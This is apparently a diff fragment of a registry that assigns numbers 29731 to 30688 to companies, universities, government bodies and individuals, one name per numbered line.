+29731 General Dynamics Information Technology
+29732 MTS
+29733 Hypertag Ltd.
+29734 Wartsila Corporation
+29735 E.T.S.V. Scintilla
+29736 Unified Business Solutions
+29737 Hollywood Center Studios
+29738 Kerk
+29739 GRETA Sud Normandie
+29740 MST Systemtechnik AG
+29741 Aruba PEC S.p.A.
+29742 NetOne S.A.
+29743 digiremote
+29744 SVP Broadcast Microwave S.L.
+29745 International Institute for Applied Systems Analysis
+29746 Satro, s.r.o.
+29747 ExpressThought
+29748 SophiaSoft
+29749 Matthew R Chase
+29750 KTS InfoTech Pvt Ltd
+29751 Cubico Solutions
+29752 Computer System Laboratory at CMC Faculty, Moscow State University
+29753 3Tera, Inc.
+29754 Karl Blanderer Internetmarketing
+29755 SISTEER
+29756 Rochester Community and Technical College
+29757 Oficina de Cooperación Universitaria, S.A.
+29758 Polska Grupa Farmaceutyczna
+29759 Engineering Solutions, Inc.
+29760 CSS Inc.
+29761 GoConnect Australia Pty Ltd
+29762 DevMetrix
+29763 ReadyLinks
+29764 Crypto Team
+29765 Paycor, Inc.
+29766 Falcontrol Security GmbH
+29767 James Hunt
+29768 Emporia State University
+29769 Accountis
+29770 DIRECT ENERGIE
+29771 TrioCom Ltd.
+29772 Sutter Health
+29773 Genworth Financial
+29774 Amobee
+29775 WushNet LLC
+29776 Checkphone
+29777 Shaw Industries, Inc.
+29778 Honeywell Systems Group
+29779 Zion Group Limited
+29780 Secure IT-IS
+29781 XEyedFrog Solutions
+29782 CSK Holdings Corporation
+29783 Brandenburg University of Technology
+29784 Turismo Andaluz
+29785 Ministerio de Agricultura, Pesca y Alimentacion
+29786 Mediterrum SARL
+29787 T-Systems MMS Dresden
+29788 GZT Telkom-Telmor Sp. z o.o.
+29789 Red Lion Controls (BlueTree Wireless Data, Inc.)
+29790 Yelp Inc.
+29791 Quality Nighthawk
+29792 IPercom
+29793 eNVENT Technologies
+29794 DBD Deutsche Breitband Dienste
+29795 CC Computer Consultants GmbH
+29796 Instituto Mexicano del Seguro Social (IMSS)
+29797 Working Technologies
+29798 Loma Technology Group
+29799 ex eventu GmbH
+29800 Zeugma Systems Inc.
+29801 DEEPSCAN GR
+29802 Comway GmbH
+29803 Helsinki Metropolia University of Applied Sciences
+29804 Pyroll Oy
+29805 blueocean IT-Services
+29806 Demotera
+29807 Ville de Sevran
+29808 Nextlead GmbH
+29809 Getnet Tecnologia
+29810 Moving Bytes Communications, Systementwicklung GmbH
+29811 Contaduría General de la Nación
+29812 Kinetic Avionics Limited
+29813 Prologica SGPS
+29814 Gandara Center
+29815 Gymnasium Salzgitter-Bad
+29816 IRI France
+29817 Gold Mobile
+29818 National Financial Partners
+29819 Elastiq LLC
+29820 x-Gate
+29821 SztupY dot hu
+29822 The Options Clearing Corporation
+29823 CallMiner, Inc.
+29824 Inprint
+29825 NeoAccel, Inc.
+29826 WiBorne, Inc.
+29827 Qness AB
+29828 Bellgardt Embedded Systems
+29829 Software Art
+29830 Elektro Slovenija d.o.o
+29831 Scuola Superiore S.Anna
+29832 Saeil Systems Inc.
+29833 GTZ India
+29834 PRO-ZETA a.s.
+29835 bruggmann engineering
+29836 China Internet Network Information Center
+29837 Erema - Engineering Recycling Maschinen und Anlagen GmbH
+29838 DialogueScience, Inc.
+29839 Simoco EMEA Ltd (formerly 'Dalman Technical Services Ltd')
+29840 llrp.org
+29841 Fat Spaniel Technologies
+29842 macmon secure gmbh (formerly 'mikado soft gmbH')
+29843 CargoServer AG (formerly 'ncode gmbh')
+29844 Centile SA
+29845 VCC Perfect Pictures AG
+29846 Sparkroom, Inc.
+29847 Nav N Go Kft
+29848 Far Eastern State University
+29849 KSB AG
+29850 Netline Communications Technologies (NCT) Ltd.
+29851 Nuclear-Whales Informatikai Bt.
+29852 Gryphon Networks
+29853 eCare4all
+29854 OnePacs LLC
+29855 T-Mobile Crna Gora d.o.o.
+29856 anapol
+29857 Ready Set Companies
+29858 FCA US LLC (formerly 'Chrysler LLC')
+29859 KJC Systems Ltd Co
+29860 Octopus Technologies Ltd
+29861 N-iX LLC
+29862 NANCY s.r.o
+29863 Software Logic, Inc.
+29864 Typeria
+29865 Kjaerulff 1 A/S
+29866 Method Analysis Limited
+29867 Skanska
+29868 Business Security
+29869 UniNet
+29870 EUROCOM Satellite Systems AS
+29871 College of Southern Maryland
+29872 Project Rialto
+29873 OutProtect
+29874 TEL2WEB GmbH
+29875 sorcellerie
+29876 Antwoord voor Bedrijven (ICTU)
+29877 Allnight Computing
+29878 Reduce My Fee, LLC
+29879 Pittman Holdings
+29880 Schelde Naval Shipbuilding
+29881 Brovic ltd. China
+29882 Lambda Networks Ltd
+29883 Telemune Software Solutions Ltd
+29884 MadaSoft
+29885 Haute Ecole Specialisee de Suisse occidentale (HES-SO)
+29886 beroNet GmbH
+29887 Dirección General del Territorio Marítimo
+29888 SpinetiX S.A.
+29889 Utilia
+29890 Work Microwave GmbH
+29891 Bluelon
+29892 Genesilico
+29893 Jeroen Koekkoek
+29894 FrenchCries!
+29895 Fam List Schlattstall
+29896 VdH Soft
+29897 QSent
+29898 Acropolis Software SPRL
+29899 Roosevelt University
+29900 EDEKA Aktiengesellschaft
+29901 Anaheim Engineering Co., LTD.
+29902 Dytecna Limited
+29903 Counsel's Chambers Limited
+29904 abacon products GmbH
+29905 Perrit
+29906 Dybala
+29907 Nortal AS
+29908 IndigoVision Ltd
+29909 Cicero Networks Limited
+29910 Open Systems Management Ltd.
+29911 Open-Tec
+29912 Hx Technologies Inc.
+29913 Intelligent Transportation Video
+29914 Networkconcepts BV
+29915 Northwood Logic
+29916 Lightworks Technology Inc.
+29917 Guangzhou New Postcom Equipment Co.,Ltd.
+29918 Uralsvjazinform Inc.
+29919 CJSC Orbita
+29920 mySoftIT GmbH
+29921 FV Service KG
+29922 Starmark Trading Ltd.
+29923 Netris
+29924 GTD Sistemas de Informacion
+29925 Multiplex Ltd.
+29926 Santa Rosa S.A.
+29927 LOHR
+29928 RelayHealth
+29929 United States Steel Corporation
+29930 Koinema srl
+29931 Cambridge Imaging Systems
+29932 SOUND4
+29933 APOAL Inc.
+29934 Hypermedia Systems Inc. (USA)
+29935 ABC Startsiden AS
+29936 x15
+29937 ellis stewart design
+29938 The Swedish Coast Guard
+29939 Alpha Red, Inc
+29940 Kawhai
+29941 Pavlov Media, Inc
+29942 Himalaya Technologies
+29943 Shelton | Johns Technology Group
+29944 COARA Inc.
+29945 Chinauninet
+29946 Media-Saturn IT Services GmbH
+29947 CNW Consulting Network AB
+29948 Consell de Mallorca
+29949 Cassiopea OnLine srl
+29950 GMIT GmbH
+29951 DCom, spol. s r.o.
+29952 JSC "Alliance Group Holding"
+29953 deburit chemical engineering GmbH
+29954 Health Identity Management Consortium - HIMC
+29955 Medina VoIP
+29956 FreeWave Technologies
+29957 PCB Piezotronics Inc.
+29958 Washtenaw Community College
+29959 KolejNet
+29960 specurio studio
+29961 AServer NV
+29962 Tag Systems S.A.
+29963 Iron Council
+29964 Tribunal de Contas dos Municipios do Estado do Pará
+29965 Shinymark Enterprises Limited
+29966 Advanced Concept Technology Ltd.
+29967 B&R Data Systems
+29968 Universidade Estadual de Campinas (Unicamp)
+29969 MORISHIMA.NET
+29970 Zervina Technologies LLC
+29971 Damogran Apathetic Solutions
+29972 compico
+29973 GemEx Systems, Inc.
+29974 E-WEB INFORMATION Co.
+29975 Guangzhou Great Symbol Information Technology Co.,Ltd.
+29976 Nara Institute of Science and Technology
+29977 Palm Tree Technology, Inc.
+29978 Gotland University
+29979 Bruker AXS GmbH
+29980 Smart Com d.o.o.
+29981 Marben Products
+29982 Massive Entertainment
+29983 Waves Audio Ltd.
+29984 Byelorussian State University of Informatics and Radioelectronics (BSUIR)
+29985 DETRACOM SAS
+29986 NET STREAMS
+29987 Hivemind Systems, Inc.
+29988 Calabrio, Inc.
+29989 Qwaq Inc.
+29990 John Smith Network Management
+29991 Macif
+29992 PONT Technology Co.,Ltd
+29993 Net Marvellous
+29994 CONCORD GmbH
+29995 FUSAGx
+29996 The Lorentz Group
+29997 LavaNet, Inc.
+29998 Kurashiki Cable Television Co.,Ltd.
+29999 microC Design SRL
+30000 University of Western Sydney
+30001 BROWAN COMMUNICATIONS INCORPORATION
+30002 FREEPP INCORPORATION
+30003 Hiflex GmbH
+30004 TerraNua Ltd
+30005 Raybit Systems korea, Inc
+30006 Mobile Fun
+30007 DOB.SK
+30008 Bank Austria Real Invest GmbH
+30009 Information Industry Company
+30010 Embotics Corporation
+30011 Itochu Cable System Corp.
+30012 ipoque GmbH
+30013 Den selvejende institution Paul Bargsøe Kollegiet
+30014 Pecsi Tudomanyegyetem Klinikai Kozpont
+30015 KBC Bank
+30016 Anel-Elektronik AG
+30017 TAG Aviation
+30018 FusionIO
+30019 Diversified Sales and Service, Inc.
+30020 Silesian University of Technology
+30021 Mühlbauer AG
+30022 Guangdong Cirrus Sci-tech Development Co., Ltd
+30023 ITS-Telecom
+30024 In-Tuition Networks Ltd
+30025 Markus Widmer
+30026 Blue Caravel
+30027 Brainfat Networking
+30028 Nova CATV, Inc.
+30029 NENTRON Technology
+30030 jamesoff.net
+30031 Penguinlabs LTD
+30032 Beijing Xintong Huaan Technologies Co. Ltd
+30033 Atabyte
+30034 IIJ Engineering,Inc. (formerly 'Net Care,Inc.')
+30035 Formosa Wireless Systems Corp.
+30036 Nomad Digital Ltd
+30037 Company Extrim pro, Ltd.
+30038 ALMDUDLER-LIMONADE A. & S. Klein GmbH & Co KG
+30039 Topdog-software.com
+30040 Tartu University Hospital
+30041 Universität Augsburg
+30042 Dynaco Oy
+30043 Coral Automação Municipal
+30044 Walter Dorwin Teague Associates, Inc.
+30045 davidfuchs.ca
+30046 rh-tec Business GmbH
+30047 WorthTEK
+30048 BNC Technologies Co.,Ltd.
+30049 Acorn Active Media Foundation
+30050 Jushri Technologies, Inc
+30051 EDICOM (INTERCAMBIO ELECTRONICO DE DATOS Y COM SL)
+30052 Agora SA
+30053 MDoffice Inc
+30054 Untangle Inc.
+30055 BKK Essanelle
+30056 Bando Electronic Communication Co., Ltd.
+30057 AIO Systems
+30058 otaking.se
+30059 Alarislabs
+30060 sevenstax
+30061 Imprimerie Nationale
+30062 CRIX International
+30063 Kantonsspital Luzern
+30064 Jens Kaiser
+30065 Arista Networks, Inc. (formerly 'Arastra, Inc.')
+30066 Swissdotnet
+30067 Imprint Global Pty Ltd
+30068 Walker Chandiok Grant Thornton
+30069 Candlelight Software
+30070 Lufthansa Systems Indonesia
+30071 Colby Dillion
+30072 The Government of Brunei Darussalam
+30073 WYS S.O.C Corporation.
+30074 Beijing Sharenet Information Technology Co.,Ltd.
+30075 Humanomed
+30076 ATILF - Analyse et Traitement Automatique de la Langue Francaise
+30077 clanconley.com
+30078 Novella SatComs Limited
+30079 Open Mobile Alliance (OMA)
+30080 Fraport AG
+30081 Philip Morris USA
+30082 David Computer Service
+30083 Intelleca
+30084 1dian.com
+30085 Knopad Software SRL
+30086 Arinbe Technologies, Inc.
+30087 NEU-INFO
+30088 Wuhan Gewei Electronic Technology Co., Ltd.
+30089 Ak Kamal ISCC LLP
+30090 shaikh
+30091 SeaBright Insurance Company
+30092 Zavarovalnica Maribor d.d.
+30093 GEMAC Gesellschaft für Mikroelektronikanwendung Chemnitz mbH
+30094 Beijing US-Sino Diverse Telecom Equipment Co.,Ltd.
+30095 Kom-Pakt
+30096 dataway GmbH
+30097 Familie Dieter Baerwolf
+30098 BBP AG
+30099 MorphoTrust USA (formerly 'L-1 Identity Solutioins, Inc.')
+30100 greenBytes Inc.
+30101 SUNIX Co., Ltd.
+30102 team Communication Technology Management GmbH
+30103 One Reel
+30104 ERR
+30105 JARS OG
+30106 Board of European Students of Technology
+30107 SEACON TERMINALS LTD
+30108 Xaragua® Enterprise Corporation
+30109 CompIT SRL
+30110 MDEV Desenvolvimento de Software para Celular Ltda
+30111 Pacific NETwork Imaging, Inc.
+30112 Network Solutions Private Limited
+30113 Fornova
+30114 Reserved
+30115 Damien Degois
+30116 Jims Group
+30117 Telefield, Inc.
+30118 Hostdime.com, INC
+30119 UNION FENOSA, S.A.
+30120 Nayatek S.L.
+30121 scoyo
+30122 MdbNet
+30123 MaResCom GmbH
+30124 ABAJAX
+30125 ANDURAS AG
+30126 LSI JAPAN CO.,LTD.
+30127 Deft Labs Inc.
+30128 Neovest, Inc.
+30129 Trask solutions
+30130 Hyperwave GmbH
+30131 OMA
+30132 ANAC
+30133 iControl Networks
+30134 Bitscape
+30135 e-mehlbox.eu
+30136 Sharif University of Technology
+30137 SHANDONG TRANSPARENT COMMUNICATIONS CO,LTD
+30138 Sparkassen Informatik GmbH & Co. KG
+30139 AMS Engineering Sticht Gmbh
+30140 Advantech B+B SmartWorx s.r.o. (formerly 'Conel s.r.o.')
+30141 Landesbetrieb Daten und Information Rheinland-Pfalz
+30142 National Magazine Company
+30143 DecisionSoft LTD
+30144 Kepware Technologies
+30145 Active Media Architects, Inc.
+30146 Dovetail Storage, Inc.
+30147 Magnus.net
+30148 CrossWorld
+30149 TECNOVA LTDA
+30150 Nizhny Tagil Iron & Steel Works
+30151 Zimbabwe Revenue Authority
+30152 nLogy s.r.o.
+30153 Keystone Electronic Solutions
+30154 e-Vox
+30155 OpenBSD Project
+30156 The Positive Internet Company Ltd
+30157 Kalopa Research Limited
+30158 EMPRESA BRASILEIRA DE TELECOMUNICACOES S A - EMBRATEL
+30159 Scientific Games Racing
+30160 Insomniac Games, Inc.
+30161 Orbital Spuds Development, Inc.
+30162 Farez
+30163 Johannes H Laxdal
+30164 Radium Network Solutions
+30165 Derek Belrose
+30166 Blue Ridge Networks, Inc.
+30167 Tavasti Solutions Oy
+30168 dnsee
+30169 pragma:s Jan Schlosser
+30170 Smart Health Solutions Pty Ltd
+30171 NET SPACE Daniel Kiper
+30172 OpenGoss Corporation
+30173 Convey Plus TC
+30174 Deka Works
+30175 Jeff Knecht
+30176 Hirotoshi Hamada
+30177 Geodesic Limited
+30178 Martin County School District
+30179 Cervantes S.A.
+30180 PetRays L.P.
+30181 Public Works Government Services Canada
+30182 3G Factory S.A.R.L
+30183 KES INC.
+30184 Gleim Internet, Inc.
+30185 AWEK microdata
+30186 TRINAMIC SOFTWARE FACTORY
+30187 HCS GmbH
+30188 MB-technology GmbH
+30189 Bravura Solutions (UK) Limited
+30190 Solera Networks
+30191 IPTRADE SA
+30192 Veraz Networks
+30193 ComdataNetwork, Inc.
+30194 Egon Frerich
+30195 Carlson Wireless Technologies, Inc.
+30196 Smith Travel Research
+30197 kestan.co.uk
+30198 Coherent Solutions
+30199 Abaca Technology Corporation
+30200 ePrize LLC
+30201 Metaverse Republic
+30202 HCE Engineering
+30203 Forschungsverbund Berlin e.V.
+30204 Faculty of Physics and Applied Informatics, University of Lodz
+30205 Rohde & Schwarz Cybersecurity GmbH (formerly 'Sirrix AG security technologies')
+30206 Invisible Software 2.0 Ltd
+30207 Level 3 Solutions, LLC
+30208 Firecode Soluções em Tecnologia LTDA
+30209 Universita' Ca' Foscari Venezia
+30210 Logalty Servicios de Tercero de Confianza, S.L. (formerly 'Postaltrust, S.L.')
+30211 THE CHUNICHI SHIMBUN CO., LTD.
+30212 ON telecomm
+30213 Vertex Pharmaceuticals
+30214 CVSDude PTY LTD
+30215 Serenity Information Systems
+30216 Azolia
+30217 Osinet S.A.
+30218 AltaVoz S.A.
+30219 Verivue, Inc
+30220 Wavestream Corp
+30221 UnboundID Corp
+30222 Home Credit Finance Ukraine
+30223 OOe Gebietskrankenkasse
+30224 NCC Hoorn
+30225 Cotendo
+30226 Mairie de Besançon - France
+30227 Channelot Ltd.
+30228 Visipia
+30229 debian-community.org
+30230 dimedis GmbH
+30231 morphism
+30232 www.themaine.net
+30233 John Muir Health
+30234 NBT Infra
+30235 Gordon & Louis Technologies
+30236 Desktone Inc.
+30237 EteVan Technologies co., Ltd.
+30238 XandMail
+30239 Archisys SARL
+30240 Vivesta
+30241 Jeffrey Ricker LLC
+30242 Info Consultoria e Informatica Ltda.
+30243 network.co.at GmbH
+30244 Dazzle
+30245 Graham Holdings Company
+30246 Diventus GmbH
+30247 Coopers Peele (France) SARL
+30248 Webkuteer
+30249 marek.priv.at
+30250 Telecom design (France)
+30251 CampusLAN Software GmbH
+30252 Jetair N.V.
+30253 Certisign Certificadora Digital S.A.
+30254 The Main Street America Group
+30255 County of San Bernardino
+30256 Telecommunication Technologies Ltd.
+30257 Intrcomm Technology
+30258 Xalyo Systems
+30259 LWsystems GmbH & Co. KG
+30260 Zenitel Netherlands BV
+30261 HigherGround, Inc.
+30262 Cacholong
+30263 Klopf
+30264 Axiometric, LLC
+30265 Hinfox Bt.
+30266 Inca Digital Printers ltd
+30267 sofinco
+30268 PENN Warehousing & Distribution, Inc.
+30269 via donau Österreichische Wasserstraßengesellschaft mbH.
+30270 Microdata Tecnologia Ltda
+30271 Netsense
+30272 Cache IQ, Inc (formerly 'Storspeed Inc')
+30273 Sairyx
+30274 Greenfossil Pte Ltd
+30275 TeraCortex
+30276 OEAMTC
+30277 Software Cellular Network Ltd
+30278 Peykasa Messageware Co
+30279 Gladserv Limited
+30280 delta4 business solutions gmbh
+30281 AussieHQ Pty Ltd
+30282 Hammond Street Developments Pty. Ltd.
+30283 GRADIOR GROUP a.s.
+30284 Intersoft
+30285 TMT SYSTEM
+30286 Tridymedia
+30287 Agito Networks Inc.
+30288 Alog Datacenters do Brasil S/A
+30289 Brian W Bush
+30290 Vangenechten Packaging
+30291 Sujansky & Associates, LLC
+30292 Monit24.pl
+30293 Collège Dunoyer de Segonzac
+30294 InnoTrans Communications Inc.
+30295 I2Net Christian Nordmann
+30296 Innovation & Support Centre
+30297 The Clockwork Lab
+30298 Industrial Control and Communication Limited
+30299 SEP Bulgaria JSC
+30300 Internetworking & Broadband Consulting Co., Ltd.
+30301 Invada Records Pty Ltd
+30302 NuSuara Technologies Sdn Bhd
+30303 IoT-Lab.org
+30304 CHAMBRE D'AGRICULTURE DU BAS-RHIN
+30305 ITIS Holdings PLC
+30306 SATEL Oy
+30307 Invidi Technologies
+30308 Clearspring Technologies, Inc.
+30309 Svenska Linuxföreningen
+30310 Remigio Conti
+30311 Cartiza Networks
+30312 educagri
+30313 Indanet AG
+30314 Seltec Computers Ltd.
+30315 Papierfabrik Palm GmbH & Co. KG
+30316 Unassigned
+30317 First Sensor Technology GmbH
+30318 GSoft BG
+30319 SmartPropertyManager Ltd
+30320 Exeltech
+30321 Unison Technologies
+30322 International Broadband Electric Communications, Inc. (IBEC)
+30323 Eigen LLC
+30324 Interface Masters, Inc.
+30325 Grin AB
+30326 ShoreGroup, Inc.
+30327 Metro Servers Inc.
+30328 Travis Hein
+30329 CONRAC GmbH
+30330 Atom Consultants Co.,Ltd.
+30331 Octant Informatique
+30332 eXXcellent solutions
+30333 GRIPS - Gillen & Partner
+30334 Korscient Consulting Limited
+30335 DXI Networks
+30336 Eirteic Consulting Ltd
+30337 Luceat Spa
+30338 Smart421
+30339 National Center of Digital Signature Authentication - Ministry of Information and Communications of Viet Nam
+30340 Moderntimes
+30341 Deltacast
+30342 Pellucid Consulting LLC
+30343 Middle East Education through Technology
+30344 Possimo Technologies Sdn Bhd
+30345 TMS, LLC
+30346 IT & Design Solutions GmbH
+30347 Bekatul Port
+30348 W-I-E-S-E-R.net
+30349 Kvant-Efir
+30350 Caucho Technology, Inc.
+30351 Philip Gladstone
+30352 sneudert.de
+30353 Symmetria Hungary Ltd.
+30354 EPiQ Life Science AB
+30355 Digital Research Services LLC
+30356 Domeo BV
+30357 Unix-network
+30358 Pro:Atria Ltd
+30359 Tango Networks
+30360 Trustwave Holdings, Inc.
+30361 Triple Play Communications
+30362 Brandwidth
+30363 N.V. Devoteam Telecom & Media
+30364 NewMedia Publications Ltd
+30365 INEO SUEZ Group - INEO SYSTRANS
+30366 M-Tech
+30367 Dragonfly Technologies Pty Ltd
+30368 Whitewall Networks
+30369 Grupa Lotos S.A.
+30370 GIHAR LTD
+30371 Financial Link Sdn Bhd
+30372 SANBlaze Technology, Inc.
+30373 Wallix
+30374 Opencode Systems Ltd
+30375 Innovature Labs
+30376 Outright Solutions
+30377 Baseblack Ltd
+30378 True Corporation PCL
+30379 Southcoast Health System
+30380 Aggienerds
+30381 FRIENDSHIP-SYSTEMS
+30382 Kristoff Kiefer
+30383 ViaCom Informatics Ltd.
+30384 Interjato Telecom
+30385 CAVOK Software Systems GmbH
+30386 Software Service Christoph Bach
+30387 Singlesnet.com
+30388 nobisCum
+30389 Hangzhou Digicast Technology Co., Ltd.
+30390 City of Garden Grove
+30391 Alex Potter Consulting
+30392 Globolog GmbH
+30393 Cibenix
+30394 Kyoto University
+30395 Alhambra-Eidos
+30396 Cambridge Consultants
+30397 TELERAD SA
+30398 Leader Technologies
+30399 LogiSync LLC
+30400 Red Condor, Inc.
+30401 Fedora Project
+30402 Halsted Surgery
+30403 Secure Computing Networks
+30404 never.no AS
+30405 ClaimLynx, Inc
+30406 Aubesoft Inc.
+30407 CRISALID SARL
+30408 Ulrich Boddenberg Informatique
+30409 FTR Pty Ltd
+30410 Jozef Hatala
+30411 Parker Hannifin Corp
+30412 Aeroflex Incorporated
+30413 Channel Islands Stock Exchange LBG
+30414 OBJECT Sistemas Multimidia Ltda
+30415 PANSKY TECHOLOGY CORPORATION CHENGDU GROUP
+30416 Latenter
+30417 RLG Informatica
+30418 Jewelry Television
+30419 Novgorod State University
+30420 Softex Insoporated
+30421 NAVICON A/S
+30422 Fatwire Corporation
+30423 Centene Corporation
+30424 Oak Scientific, LLC
+30425 Innovative Communications Engineering
+30426 Universal Solutions Group, Inc.
+30427 2inches
+30428 Telekom Research & Development Sdn Bhd
+30429 Amnafzar Co.
+30430 carnero.ca
+30431 Telvent Environment, S.A.
+30432 Open System Solutions (UK) Limited
+30433 Dah Sing Life Assurance Company Limited
+30434 Satelcom Oy
+30435 Dalarna University
+30436 Aralia Systems Ltd.
+30437 Fortna, Inc
+30438 capecom GbR
+30439 layerX Technologies
+30440 PROXIFLEX
+30441 MATRA Systems (UK)
+30442 Adaptive Spectrum and Signal Alignment, Inc.
+30443 Schooner Information Technology, Inc.
+30444 2-Bit Programmers
+30445 Genie Technology Management
+30446 Mobile Technika, Inc.
+30447 Pete Gooch
+30448 Sörlöv Holding
+30449 Institute of Psychology and Pedagogics of Development
+30450 Teleglobe Canada ULC
+30451 CPEGM
+30452 Xoft, Inc.
+30453 Kannel Software Foundation
+30454 Santa Barbara City College
+30455 Wm Morrison Supermarkets PLC
+30456 sugat.com.np
+30457 CYGNET Technology BV
+30458 Thomas Duclos Software
+30459 EchoStorm Worldwide, LLC
+30460 Perfomix Technologies Intl(P) Ltd
+30461 Radley Network Technologies CC
+30462 Freifunk Halle
+30463 Supridatta Teleinformatica Ltda.
+30464 Tecnosistemas Inc.
+30465 Visage Mobile, Inc
+30466 Privantis SA
+30467 Carlson Wagonlit Travel
+30468 Solid Technologies, Inc
+30469 Synacor Inc
+30470 CyberTrails
+30471 TwoPiRadian Infotech Private Limited
+30472 CityLink, Ltd.
+30473 Steropes Technologies Limited
+30474 CJSC "InCore"
+30475 Intra2net AG
+30476 BIS
+30477 gig mbh berlin
+30478 Enventis
+30479 GlobeStar Systems Inc.
+30480 DotLibre
+30481 HySky Communications
+30482 Omnes Loquantur Limited
+30483 Virtual Switching Consultancy Limited
+30484 OPTeam SA
+30485 RTC-Siberia Co., Ltd.
+30486 thomas kobienia
+30487 Hydra Labs
+30488 Boardlink Group Limited
+30489 FAMIPOW
+30490 Dtella Labs
+30491 Helping Hand PC Services & Networking, Inc.
+30492 Hypertek Inc.
+30493 Digitek spa
+30494 Microlink Telecom
+30495 RoundTrip Systems
+30496 E-Smart Systems d.o.o.
+30497 Beijing EaseSea Interman Technology Co.,
+30498 AeroScout
+30499 Design 2000 Pvt Ltd
+30500 Forca A/S
+30501 Institute for Networking Technology
+30502 The Norwegian Polar Institute
+30503 Bastart
+30504 Punctual Software Inc.
+30505 Swiss Life Deutschland Operations GmbH
+30506 ooma Inc.
+30507 Extreme Copper, Incorporated
+30508 Medavie Blue Cross
+30509 Shenzhen Leagsoft Technology Co., Ltd..
+30510 Bestwiz Softwarw Development (Dalian) Co.,Ltd.
+30511 Arts Alliance Media
+30512 ATEIS
+30513 Ford Motor Company
+30514 Lavínia Tavares
+30515 m7 evolution
+30516 oclane
+30517 Zoot Enterprises, Inc.
+30518 CoolIT Systems Inc.
+30519 Wieldim
+30520 IAESTE Austria
+30521 Collab
+30522 kludge.ca
+30523 Taichung Veterans General Hospital
+30524 Intersoft Electronics
+30525 H&S Ventures, LLC
+30526 Astec Solutions
+30527 Mochi Media, Inc.
+30528 V.Saint-Denis
+30529 Vkernel Corporation
+30530 INTI Electronica e Informatica
+30531 LEANDRO DA SILVA MENDES INFORMATICA ME
+30532 Alox
+30533 DASANCNS
+30534 Tajinc.ORG LLC
+30535 Alphasoft GmbH
+30536 BMTI
+30537 Welsh Blood Service
+30538 webLyzard
+30539 Sappi Fine Paper
+30540 Zymeworks Inc.
+30541 Exacq Technologies, Inc.
+30542 Komes Co. Ltd.
+30543 QuartzNet
+30544 iTAS Technology Corp.
+30545 Akademia Podlaska
+30546 JLA Ltd
+30547 Institute of Physics of the ASCR, v. v. i.
+30548 Alberta Blue Cross
+30549 Merli dr. Clizio Consultant
+30550 Konexxo GmbH
+30551 Transtruct Foundation
+30552 MicroBlade, Inc.
+30553 LincWare
+30554 Mitsubishi Space Software Co.,Ltd.
+30555 mikhailelias.net
+30556 King Faisal University
+30557 Sapphire Computer Systems (UK) Ltd
+30558 Ticketcorner AG
+30559 Krüger Network Training & Consulting
+30560 Pumpkin 3D
+30561 expact.it
+30562 Universidad de Montemorelos, A. C.
+30563 Blackwave Inc.
+30564 Algarroba
+30565 GTS Nextra
+30566 Dr. Gregory M. Stone & Associates
+30567 Port One Internet, Inc.
+30568 Msona Limited
+30569 Globitel
+30570 Radiator Software Oy
+30571 Mesto Domazlice
+30572 TDC-NetDesign A/S (formerly 'NetDesign A/S')
+30573 Photon Meissener Technologies GmbH
+30574 Fixma S.L.
+30575 castLabs GmbH
+30576 Wills and co Stockbrokers
+30577 Opus Notion
+30578 T Proje Muhendislik Dis Tic Ltd. Sti.
+30579 Arab Bank (Switzerland)
+30580 Peninsula Engineering Solutions Inc
+30581 Appriver LLC
+30582 RSP Systems A/S
+30583 AhMuseIndustry.Net, LLC
+30584 Allegory Software, Inc.
+30585 SmartShare Systems
+30586 Xytronix Research & Design, Inc.
+30587 JumpGen Systems, LLC
+30588 Euphonix, Inc
+30589 HIS Technologies (HK) Limited
+30590 Österreichische Pensionsversicherungsanstalt
+30591 Hetzner Pty Ltd
+30592 Nico Roeser
+30593 Spyderweb Consulting
+30594 LSTC
+30595 Xenatech Co Ltd (South Korea)
+30596 Unioncast
+30597 Kan sp. z o.o.
+30598 H.C. Starck GmbH
+30599 SimplisIP
+30600 Deltatec
+30601 podhart.net
+30602 Tyson Foods, Inc.
+30603 JXX Technologies
+30604 Uhland
+30605 Landmark Digital Services
+30606 eTour
+30607 Saskatchewan Blue Cross
+30608 FACULDADE NOVAFAPI
+30609 Temboo, Inc.
+30610 UVT Unternehmensberatung für Verkehr und Technik GmbH
+30611 Maessa Telecontrol
+30612 EK3 Technologies Inc.
+30613 ATIS
+30614 Expandium SAS
+30615 Creative Technology Ltd.
+30616 MagmaTec (Pty) Ltd
+30617 Advanced Digital Systems Inc. (ADS)
+30618 Rostocker Freizeitzentrum e.V.
+30619 TOSHIBA MITSUBISHI-ELECTRIC INDUSTRIAL SYSTEMS CORPORATION
+30620 Sloka Telecom Private Limited
+30621 Global Holdings Group
+30622 Centre des technologies de l'information de l'Etat , Luxembourg (formerly 'Centre Informatique de l'Etat , Luxembourg')
+30623 Federal Signal Corporation, Integrated Systems
+30624 ALALOOP SAS
+30625 tollwerk sinnesnavigatoren
+30626 VeriSign
+30627 bitGate data systems GmbH
+30628 NIDEC CORPORATION
+30629 ArchCyber Technology Co. Ltd.
+30630 AfriNIC Ltd.
+30631 Terra
+30632 CJSC Kyivstar GSM
+30633 Universitaet fuer Musik und darstellende Kunst Wien
+30634 Eddahbi Karim
+30635 II. gimnazija Maribor
+30636 AMT DATA
+30637 Haagenti Group Inc.
+30638 Larry Sturtz
+30639 Smart Education sp. z.o.o
+30640 Unlimi-Tech Software Inc
+30641 AJA Video Systems, Inc.
+30642 AOptix Technologies, Inc.
+30643 Databits
+30644 Amir Rezghian
+30645 Entry Point, LLC
+30646 NYCLIX
+30647 Value Team
+30648 iSupportISP, LLC
+30649 INetU, Inc.
+30650 Para Systems, Inc.
+30651 Precognet
+30652 GlenMarshall.us
+30653 Comability
+30654 College of Policy Science, Ritsumeikan University
+30655 Diamond Valley College
+30656 lancehendrix.com
+30657 Eaton-Williams
+30658 BTC Business Technology Consulting AG
+30659 Scilla Systems Inc.
+30660 Onsite Media Network Inc.
+30661 zubData
+30662 Tara Systems GmbH
+30663 Tall Umbrella
+30664 P. Bryan Consulting Inc.
+30665 APG Algemene Pensioen Groep N.V.
+30666 Online Rewards
+30667 Port40
+30668 BrControls
+30669 Research for Science, Art and Technology (RFSAT) Ltd
+30670 Vololink Pty Ltd
+30671 Crocus-com Company
+30672 Ancerno Ltd.
+30673 EDELCA
+30674 NTS Workspace AG
+30675 Wayne State University School of Medicine
+30676 D-TA Systems Inc.
+30677 C4i Security LLC
+30678 Nomovok Ltd
+30679 Xicom Technology
+30680 City of Walsenburg, Colorado
+30681 Donald Swauger Consulting
+30682 davidrobin.net
+30683 quadium.net
+30684 YAZAKI Corporation
+30685 TSTENG
+30686 N-iTUS
+30687 CoSolIT
+30688 ShenZhen DaShi Technology Co.,LTD
